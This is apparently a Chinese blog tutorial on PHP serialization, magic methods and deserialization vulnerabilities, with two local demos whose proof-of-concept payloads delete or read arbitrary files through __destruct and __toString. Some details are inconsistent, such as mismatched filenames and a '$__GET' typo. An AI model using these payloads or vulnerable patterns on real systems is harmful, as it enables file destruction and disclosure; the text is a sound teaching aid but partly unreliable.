php序列化与反序列化

前言

最近在总结php序列化相关的知识,看了好多网上的文章,现在将自己的理解记录下来。

php序列化与反序列化基础

序列化与反序列化

  • 序列化是将变量转换为可保存或可传输的字符串的过程。
  • 反序列化就是在适当的时候把这个字符串再转化成原来的变量使用。

php序列化与反序列化函数

  • serialize():可以将变量转换为字符串并且在转换中可以保存当前变量的值。
  • unserialize():可以将serialize()生成的字符串转化为变量。
  • php进行序列化的目的就是保存一个对象方便以后重用。

php序列化实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class Person
{
// 变量
public $name = '';
public $age = 0;

public function Information()
{
echo 'Person:'.$this->name.'is'.$this->age.'years old.<br/>';
}
}

$per = new Person();
$per -> name = 'Lv';
$per -> age = 18;

echo serialize($per);
?>

运行结果:
O:6:"Person":2:{s:4:"name";s:2:"Lv";s:3:"age";i:18;}
这里的O代表存储的是对象(object),假如你给serialize()传入的是一个数组,那它会变成字母a7表示对象的名称有7个字符。"chybeta"表示对象的名称。1表示有一个值。{s:4:"test";s:3:"123";}中,s表示字符串,4表示该字符串的长度,"test"为字符串的名称,之后的类似。

  • serialize():序列化一个对象将会保存对象的所有变量,但不会保存对象的方法,只会保存类的名字。

php反序列化实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class Person
{
// 变量
public $name = '';
public $age = 0;
// 方法
public function Information()
{
echo 'Person:'.$this->name.' is '.$this->age.' years old.<br/>';
}
}
// 反序列化实例
$per = unserialize('O:6:"Person":2:{s:4:"name";s:2:"Lv";s:3:"age";i:18;}');

print_r($per);
?>

运行结果:

1
2
3
4
5
Person Object
(
[name] => Lv
[age] => 18
)
  • unserialize():unserialize()一个对象,这个对象的类必须已经定义过。

php魔法函数

php类中包含了一些魔法函数,这些函数可以在脚本的任何地方不用声明就可以使用。

  • __construct() // 当一个对象创建时被调用
  • __destruct() // 对象被销毁时触发
  • __wakeup() // 使用unserialize时触发
  • __sleep() // 使用serialize时触发
  • __toString() // 把类当作字符串使用时触发
  • __get() // 用于从不可访问的属性读取数据

反序列化漏洞

由前面可以看出,当传给 unserialize() 的参数可控时,我们可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。

下面是我在本地搭建的环境。

php反序列化漏洞demo1

  • test1.php:
1
2
3
4
5
6
7
8
9
10
<?php
class delete
{
public $filename = 'error';
function __destruct()
{
echo $this->filename.' was deleted!';
unlink(dirname(__FILE__).'/'.$this->filename);
} // unlink()函数执行删除文件操作
}

test1.php中可以看到,delete类中定义了一个__destruct()函数,该函数中会执行删除文件的操作。如果我们想利用该类来执行任意文件的删除操作,则需要寻找到一个可控的unserialize()函数

  • test2.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

include 'test1.php';

class Person
{
public $name = '';
public $age = 18;
public function Information()
{
echo 'Person:'.$this->name.' is '.$this->age.'years old';
}
}

$per = unserialize($_GET['per_serialized']);

?>

test2.php中包含了test1.php,并且我们可以看到$per = unserialize($_GET['per_serialized']);,其中per_serialized是可控的。

如果我们已经知道在该目录下有一个1.txt文件,如果我们想要删除这个文件,则可以这样构造poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class delete
{
public $filename = 'error';
}

$test = new delete();
$test->filename = '1.txt'; //filename的值就是我们想要删除的文件名

echo serialize($test); //序列化输出

?>

可以得到payload为:O:6:"delete":1:{s:8:"filename";s:5:"1.txt";}

访问:http://127.0.0.1/test2.php?per_serialized=O:6:%22delete%22:1:{s:8:%22filename%22;s:5:%221.txt%22;}

在这里插入图片描述

访问:http://127.0.0.1/1.txt

在这里插入图片描述

php反序列化漏洞demo2

  • test4.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class read
{
public $filename = 'error';
function __toString()
{
//file_get_contents()函数把整个文件一次性读入一个字符串中
return file_get_contents($this->filename);
}
}

?>

test4.php中可以看到,类中定义了一个__toString()函数,该函数可以返回一个文件内容。如果我们想利用该类来读取任意文件,不仅需要寻找一个可利用的unserialize,还要有一个触发toString()函数的条件。

  • test5.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

include 'test4.php';

class Person
{
public $name = '';
public $age = 18;
public function Information()
{
echo 'Person:'.$this->name.' is '.$this->age.'years old';
}
}

$per = unserialize($__GET['per_serialized']);

echo $per;

?>

test5.php中,包含了test4.php。可以看到$per = unserialize($__GET['per_serialized']);,其中per_serialized可控。echo $per;会触发__toString()函数

构造poc,得到payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class read
{
public $filename = 'error';
}

$test = new read();
$test -> filename = '2.txt';

echo serialize($test);

?>

payload:O:4:"read":1:{s:8:"filename";s:5:"1.txt";}

访问:http://127.0.0.1/2.txt

在这里插入图片描述

访问:http://127.0.0.1/test5.php?per_serialized=O:4:%22read%22:1:{s:8:%22filename%22;s:5:%222.txt%22;}

在这里插入图片描述

总结

通过上面的学习,我们知道,要想找到一个php漏洞,需要先找到可控的反序列化函数,通过这些反序列化函数,我们去调用一些类,这些类中可能会包含一些魔法函数,在这些魔法函数中可能会有一些我们可控的危险操作,从而触发了php反序列化漏洞。